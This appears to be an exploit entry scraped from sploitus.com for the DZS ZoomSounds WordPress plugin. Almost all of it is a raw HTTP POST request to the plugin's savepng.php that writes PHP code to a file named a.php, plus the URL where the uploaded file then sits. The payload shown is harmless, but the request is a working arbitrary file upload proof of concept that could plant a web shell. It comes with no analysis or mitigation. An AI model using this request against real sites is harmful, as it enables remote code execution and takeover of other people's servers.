Share
## https://sploitus.com/exploit?id=WPEX-ID:07259A61-8BA9-4DD0-8D52-CC1DF389C0AD
POST /wp-content/plugins/dzs-zoomsounds/savepng.php?location=a.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 23
Connection: close

<?php echo 'Failed'; ?>


Uploaded File will be at http://example.com/wp-content/plugins/dzs-zoomsounds/a.php